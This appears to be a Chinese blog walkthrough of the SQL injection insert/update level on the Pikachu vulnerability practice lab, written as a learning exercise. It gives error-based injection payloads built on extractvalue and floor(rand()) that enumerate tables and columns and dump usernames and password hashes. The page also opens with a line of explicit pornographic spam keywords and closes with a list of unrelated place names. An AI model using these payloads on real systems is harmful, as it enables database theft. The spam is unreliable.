五月天青色头像情侣网名,国产亚洲av片在线观看18女人,黑人巨茎大战俄罗斯美女,扒下她的小内裤打屁股

歡迎光臨散文網(wǎng) 會員登陸 & 注冊

Pikachu 漏洞練習(xí)平臺Sql Injection Insert/update型注入通關(guān)指南pika~pika~

2023-03-10 13:20 作者:Yukito_online  | 我要投稿

天氣忽冷忽熱,記得及時保暖,才不是特意跟你一個人說的呢~

DML

DML(Data Manipulation Language)數(shù)據(jù)操作語言,以 INSERT、UPDATE、DELETE 三種指令為核心,分別代表插入、更新與刪除,是必須要掌握的指令,DML 和 SQL 中的 select 熟稱 CRUD(增刪改查)。


INSERT插入的兩種方式:

1、insert into 表名[(字段,字段)] values (值,值);

說明:
值和字段需要一一對應(yīng)
如果是字符型或日期類型,值需要用單引號引起來;如果是數(shù)值類型,不需要用單引號
字段和值的個數(shù)必須一致,位置對應(yīng)
字段如果不能為空,則必須插入值
可以為空的字段可以不用插入值,但需要注意:字段和值都不寫;或字段寫上,值用 null 代替
表名后面的字段可以省略不寫,此時表示所有字段,順序和表中字段順序一致。

2、insert into 表名 set 字段 = 值,字段 = 值;(不常見建議用方式一~~~)

批量插入方式

insert into 表名 [(字段,字段)] values (值,值),(值,值),(值,值);


INSERT注入就是用插入的方式進(jìn)行注入,并不是用insert into插入數(shù)據(jù)進(jìn)行注入,在這里我選擇用

基于Xpath的報錯注入

首先介紹兩個函數(shù):

1、updataxml():

官方定義:

UPDATEXML (XML_document, XPath_string, new_value);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱;

第二個參數(shù):XPath_string (Xpath格式的字符串);

第三個參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù);

返回內(nèi)容:若xpath正確則返回更改對象名稱,否則返回xpath錯誤內(nèi)容


2、extractvalue()

官方定義:

EXTRACTVALUE (XML_document, XPath_string);

第一個參數(shù):XML_document是String格式,為XML文檔對象的名稱;

第二個參數(shù):XPath_string (Xpath格式的字符串);

返回內(nèi)容:若xpath正確則返回目標(biāo)XML查詢的結(jié)果,否則返回xpath錯誤內(nèi)容


不知道什么是Xpath請看這里

XPath即為XML路徑語言(XML Path Language),它是一種用來確定XML文檔中某部分位置的語言。

/html/body

不理解沒關(guān)系Yukito也沒理解,我們只需要知道

函數(shù)報錯原因

可以看到上面兩函數(shù)里都有xpath路徑,而在xpath中,插入~(ASCII碼是0x7e)和^(ASCII碼是0x5e)等特殊字符是非法的,也就會產(chǎn)生報錯,而這些特殊字符也恰好是報錯注入的關(guān)鍵點,而當(dāng)報錯內(nèi)容為SQL語句的時候,SQL那邊的解析器會自動解析該SQL語句,就造成了SQL語句的任意執(zhí)行。

新手的話還是一步一步來吧,有點“這是你的鍵盤,這是kali-linux系統(tǒng),好了現(xiàn)在開始入侵CIA(美國中央情報局)吧”的感覺了

回到正題,注冊完賬號登陸進(jìn)去了之后,可見只有兩個按鈕,退出登錄修改個人信息

點擊【修改個人信息】就能開始插入數(shù)據(jù)了,使用postman

設(shè)置好cookie之后,先提交submit一遍數(shù)據(jù)從瀏覽器里開發(fā)者選項里獲取參數(shù)

對應(yīng)body里的form-data

輸入單引號報錯,說明存在注入點

' and extractvalue(1,concat(0x7e,database())) #

上面我們說過:

在xpath中,插入~(ASCII碼是0x7e)和^(ASCII碼是0x5e)等特殊字符是非法的,也就會產(chǎn)生報錯,而這些特殊字符也恰好是報錯注入的關(guān)鍵點,而當(dāng)報錯內(nèi)容為SQL語句的時候,SQL那邊的解析器會自動解析該SQL語句,就造成了SQL語句的任意執(zhí)行。

' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or'

' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))or'

在這里總結(jié)一下學(xué)到了一個新知識,首先是要注意開頭部分的and和or,and不行那就改用or,或者用替換符&&(and)和||(or),其次是閉合的方式不只有#和--+,還有or'(溫故而知新,可以為師矣)

同時這里的group_concat語句意思是將結(jié)果連接成一條字段輸出,當(dāng)然也可以用分段函數(shù)limit()/mid()/left()/right()


' or extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()limit 0,1)))or'
' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')))or'

在這里服務(wù)器返回的只有一部分的數(shù)據(jù),group_concat()參數(shù)無法全部返回,只能使用分段函數(shù)limit()/mid()/left()/right(),這里我用limit()舉例,并不是因為另外三個函數(shù)我不會用


' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 4,1)))or'
' or extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 12,1)))or'

拿到字段名,可以獲取數(shù)據(jù)了

' or extractvalue(1,concat(0x7e,(select username from users limit 0,1)))or'

我懶得截圖了,反正就是修改limit之后的數(shù)字就能逐個遍歷出來了

admin:e10adc3949ba59abbe56e057f20f883()

pikachu:670b14728ad9902aecba32e22fa4f6b

test:e99a18c428cb38d5f260853678922e0

收工

不光是上面的寫法,還有另外一種報錯寫法是基于floor()函數(shù)的

'or (select 1 from (select count(*),concat((select group_concat(username,0x3a,password) from users),floor(rand(0)*2))x from information_schema.tables group by x)b) or'

標(biāo)紅的地方是固定寫法


總結(jié)一下學(xué)到了一個新知識,首先是要注意開頭部分的and和or,and不行那就改用or,或者用替換符&&(and)和||(or),其次是閉合的方式不只有#和--+,還有or'(溫故而知新,可以為師矣)extractvalue()

Pikachu 漏洞練習(xí)平臺Sql Injection Insert/update型注入通關(guān)指南pika~pika~的評論 (共 條)

分享到微博請遵守國家法律
衡阳县| 连州市| 自贡市| 梨树县| 龙陵县| 新乡市| 宁远县| 安达市| 南通市| 肇庆市| 开化县| 盖州市| 阿尔山市| 雷波县| 绍兴市| 收藏| 蒙山县| 砀山县| 梁山县| 禄劝| 平舆县| 河曲县| 湖北省| 长阳| 张家港市| 昌江| 安溪县| 永城市| 彭阳县| 哈尔滨市| 河东区| 闽清县| 长乐市| 泽普县| 中阳县| 屯留县| 八宿县| 乌审旗| 吉安县| 石林| 冀州市|